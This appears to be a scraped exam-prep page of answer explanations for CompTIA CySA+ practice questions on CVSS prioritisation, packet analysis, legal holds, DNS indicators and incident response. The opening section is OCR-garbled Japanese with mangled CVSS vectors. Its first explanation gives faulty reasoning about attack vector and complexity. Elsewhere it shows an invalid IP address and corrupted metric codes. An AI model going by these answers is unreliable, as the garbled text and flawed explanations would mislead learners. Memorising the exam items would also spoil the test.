EEREY—ERSHF BHVATFLALEDT—AOEEMEZHEET A EICEICELDZEE >TOWET , X2 Ta ZHFIVRMI VAT LEZEBET H-OIZHEHBEDOBLIER %41+ 54F
HTERA-O>TWET,

TFHUARME BEIRCFITDIHITRD CVSSV3 1 £EA M) v I ZFERALET,

CVSSv3.1 impact
metrics

C:L//ACL
C:N/L:L/A:H
C:H/I:N/A:N
C:L/I:H/A:L

Vuinerability

ROMBHEEDSH BENIBETILENHDHLDEENTTH?
A1
B. 2
C.3


https://www.jpnshiken.com/q/68891-6444221/
https://www.jpnshiken.com/q/68891-6444222/

D.4

IEfE: (EfEZERTLET)

Vulnerability 2 has the highest impact metrics, specifically the highest attack vector (AV) and attack complexity (AC) values. This means that the vulnerability is more likely to be exploited and
more difficult to remediate.

References:

CVSS v3.1 Specification Document, section 2.1.1 and 2.1.2

The CVSS v3 Vulnerability Scoring System, section 3.1 and 3.2
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The best way to see the entire contents of the downloaded files in Wireshark is to change the display filter to ftp-data and follow the TCP streams. FTP-data is a protocol that is used to
transfer files between an FTP client and server using TCP port 20. By filtering for ftp-data packets and following the TCP streams, the analyst can see the actual file data that was transferred
during the FTP session
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The first step for the security team when receiving a legal hold request is to notify the relevant departments to preserve all potentially relevant information. This ensures that no data is altered,
deleted, or otherwise tampered with, which is critical for maintaining the integrity of the evidence. Preserving information includes emails, documents, and any other data that might be relevant
to the legal matter. Establishing a chain of custody and backing up data are also important steps, but notifying the involved parties is the immediate priority to prevent data loss.
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Avoid is a risk management principle that describes the decision or action of not engaging in an activity or accepting a risk that is deemed too high or unacceptable. Avoiding a risk can
eliminate the possibility or impact of the risk, as well as the need for any further risk management actions. In this case, the CISO decided the risk score would be too high and refused the
software request. This indicates that the CISO selected the avoid principle for risk management.
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Implementing a central place to manage IT assets is the best solution to decrease the inconsistencies regarding versions and patches in the existing infrastructure. A central place to manage

OO

IT assets, such as a configuration management database (CMDB), can help the vulnerability assessment team to have an accurate and up-to-date inventory of all the hardware and software
components in the network, as well as their relationships and dependencies. A CMDB can also track the changes and updates made to the IT assets, and provide a single source of truth for
the vulnerability assessment team and other teams to compare and verify the versions and patches of the infrastructure12. Implementing credentialed scanning, changing from a passive to an
active scanning approach, and performing agentless scanning are all methods to improve the vulnerability scanning process, but they do not address the root cause of the inconsistencies,
which is the lack of a central place to manage IT assets3. References: What is a Configuration Management Database (CMDB)?, How to Use a CMDB to Improve Vulnerability Management,
Vulnerability Scanning Best Practices
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A backdoor is a deliberate vulnerability inserted into the code, often allowing unauthorized access.

Source code review (Option D) is the best way to detect malicious code before it is deployed to production.
SDLC training (Option A) is helpful but does not directly prevent the insertion of backdoors.

Dynamic analysis (Option B) detects vulnerabilities at runtime but may not always identify backdoors in code.
Debugging (Option C) is useful for troubleshooting but does not address security vulnerabilities.

Reference: CompTIA CySA+ CS0-003 Official Study Guide, Secure Software Development Practices.
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The correct answer is A. 121.19.30.221.

Based on the log files and the organization's priorities, the host that warrants additional investigation is

121.19.30.221, because it is the only host that accessed a file containing sensitive data and is not from the partner vendor's range.

The log files show the following information:

* The IP addresses of the hosts that accessed the web server

* The date and time of the access

* The file path of the requested resource

* The number of bytes transferred

The organization's priorities are:

* Unauthorized data disclosure is more critical than denial of service attempts

* Denial of service attempts are more important than ensuring vendor data access According to these priorities, the most serious threat to the organization is unauthorized data disclosure,
which occurs when sensitive, protected, or confidential data is copied, transmitted, viewed, stolen, altered, or used by an individual unauthorized to do so123. Therefore, the host that
accessed a file containing sensitive data and is not from the partner vendor's range poses the highest risk to the organization.

The file that contains sensitive data is /reports/2023/financials.pdf, as indicated by its name and path. This file was accessed by two hosts: 121.19.30.221 and 216.122.5.5. However, only
121.19.30.221 is not from the partner vendor's range, which is 216.122.5.x. Therefore, 121.19.30.221 is a potential unauthorized data disclosure threat and warrants additional investigation.
The other hosts do not warrant additional investigation based on the log files and the organization's priorities.

Host 134.17.188.5 accessed /index.html multiple times in a short period of time, which could indicate a denial of service attempt by flooding the web server with requests45. However, denial
of service attempts are less critical than unauthorized data disclosure according to the organization's priorities, and there is no evidence that this host succeeded in disrupting the web server's
normal operations.

Host 202.180.1582 accessed /images/logo.png once, which does not indicate any malicious activity or threat to the organization.

Host 216.122.5.5 accessed /reports/2023/financials.pdf once, which could indicate unauthorized data disclosure if it was not authorized to do so. However, this host is from the partner
vendor's range, which is required to have access to monthly reports and is the only external vendor with authorized access according to the organization's requirements.
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Therefore, based on the log files and the organization's priorities, host 121.19.30.221 warrants additional investigation as it poses the highest risk of unauthorized data disclosure to the
organization.
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The correct answer is D because the analyst should first validate whether the suspicious DNS domains are malicious or legitimate. Random-looking DNS domains may indicate malware using
a domain generation algorithm (DGA) for command-and-control, but they can also appear in legitimate services such as content delivery networks or software update mechanisms. Therefore,
the best first step is to enrich the DNS indicators using threat intelligence and reputation sources.

Exact supporting extract: the CySA+ All-in-One guide explains that DNS tunneling and abnormal DNS queries may be used for command-and-control or exfiltration. It also states that high-
entropy domains appear random or "gibberish" to humans and that malware may use DGAs for C2 communication. However, it also warns that computer-generated domain names can have
legitimate uses in content delivery networks.

The same guide explains that threat research should help answer questions such as whether an artifact is benign, whether anyone has seen it before, and why it is present in the system. It
further explains that reputation data for domains, URLs, and IP addresses helps determine whether activity is associated with malware, phishing, C2, or data exfiltration.

Why the other options are incorrect:

A is incorrect because allowing the domains without validation could permit C2 or data exfiltration.

B is incorrect because reinstalling the software does not determine whether the DNS activity is malicious.

C is incorrect because blocking all outbound connections is a containment action, not the best first investigative step when the analyst is still determining whether compromise occurred.

D is correct because threat intelligence/reputation lookup is the most appropriate first validation step for suspicious DNS indicators.
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Documenting the process in a step-by-step format on the team wiki ensures the junior analyst has a clear, repeatable reference. This approach also supports consistency and accuracy, and
the documentation can be updated or referenced by other team members as needed. CompTIA emphasizes the importance of procedural documentation in both CySA+ and Security+ for
ensuring team members have reliable resources for task execution, which aids in knowledge retention and standardized practices across the team.
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Timeline analysis in digital forensics involves creating a chronological sequence of events based on system logs, file changes, and other forensic data. This process often uses graphical
representations to illustrate and analyze how an incident unfolded over time, making it easier to identify key events and potential indicators of compromise. This approach is highlighted in
CompTIA Cybersecurity Analyst (CySA+) practices as crucial for understanding the scope and sequence of a security incident. The other options do not involve chronological or graphical
analysis to the extent that timeline analysis does.
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To determine the correct priority, you must filter the options by applying the rules from Security Policy 1006 in the order of importance dictated by the scenario.
"The Company shall prioritize patching of publicly available systems and services over patching of internally available system."

* Option A: Internal System

* Option B: External System (Keep)

* Option C: External System (Keep)
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* Option D: Internal System

Result: Eliminate Options A and D. We are now choosing between B and C.

"In situations where a choice must be made between confidentiality and availability, the Company shall prioritize confidentiality of data over availability of systems and data." To apply this, you
must read the CVSS v3.1 Vector String for the remaining options. The relevant metrics are C (Confidentiality) and A (Availability).
* Option B (CAP.SHIELD): C:H/I:N / A:N

* Confidentiality: High (C:H)

* Availability: None (A:N)

* Interpretation: This vulnerability allows for a significant breach of data confidentiality.
* Option C (LOKI.DAGGER): C:N/I:N/ A:H

* Confidentiality: None (C:N)

* Availability: High (A:H)

* Interpretation: This vulnerability allows for a significant disruption of service (DoS).
Conclusion: Since the policy explicitly prioritizes Confidentiality (Option B) over Availability (Option C), Option B is the highest priority.
The exam expects you to parse raw CVSS strings to assess risk. Here is the breakdown for the correct answer (Option B):
Metric

Code

Value

Meaning

AV

AV:N

Network

The vulnerability is exploitable remotely via the network (most dangerous).

AC

AC:L

Low

No complex conditions are required to exploit.

PR

PR:N

None

No privileges are required (unauthenticated).

ul

ULN

None

No user interaction is required.

C

C:H

High

Confidentiality Impact. Total loss of confidentiality.

A

AN

None



Availability Impact. No impact to uptime.
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SQL injection is a type of attack that injects malicious SQL statements into a web application's input fields or parameters, in order to manipulate or access the underlying database. The
request shown in the image contains an SQL injection attempt, as indicated by the "UNION SELECT" statement, which is used to combine the results of two or more queries. The attacker is
trying to extract information from the database by appending the malicious query to the original one
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The correct answer is A because the analyst did not choose the vulnerability with the highest CVSS score.

Instead, the analyst prioritized the vulnerability that is external-facing. That is a context-aware prioritization decision: the vulnerability's exposure and location increase its likelihood of
exploitation.

Exact supporting extract: the All-in-One CySA+ guide states that context awareness means prioritization depends on the situation, including whether the affected system is internal, external,
or isolated. It further states that external systems may require faster remediation because they are more exposed to attacks and may be compromised faster.

The Secbay CySA+ guide also states that prioritizing vulnerabilities requires considering context, including whether vulnerabilities affect internal systems, external-facing systems, or isolated
systems. It specifically notes that vulnerabilities exposed to external threats may receive higher priority due to increased risk exposure.

Why the other options are incorrect:

B is incorrect because the table does not provide asset criticality or business value.

C is incorrect because all listed vulnerabilities are weaponized, so exploit availability does not distinguish CVE-2023-8524 from the others.

D is incorrect because recurrence is not the deciding factor shown. Some internal vulnerabilities have similar or higher counts.

A is correct because the deciding factor is the vulnerability's external exposure, which is context awareness.
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The incident response policy or plan is a document that defines the roles and responsibilities, procedures and processes, communication and escalation protocols, and reporting and
documentation requirements for handling security incidents. The lead should review what is documented in the incident response policy or plan to determine who should be communicated
with and when during a security incident, as well as what information should be shared and how. The incident response policy or plan should also be aligned with the organizational policies
and legal obligations regarding incident notification and disclosure.
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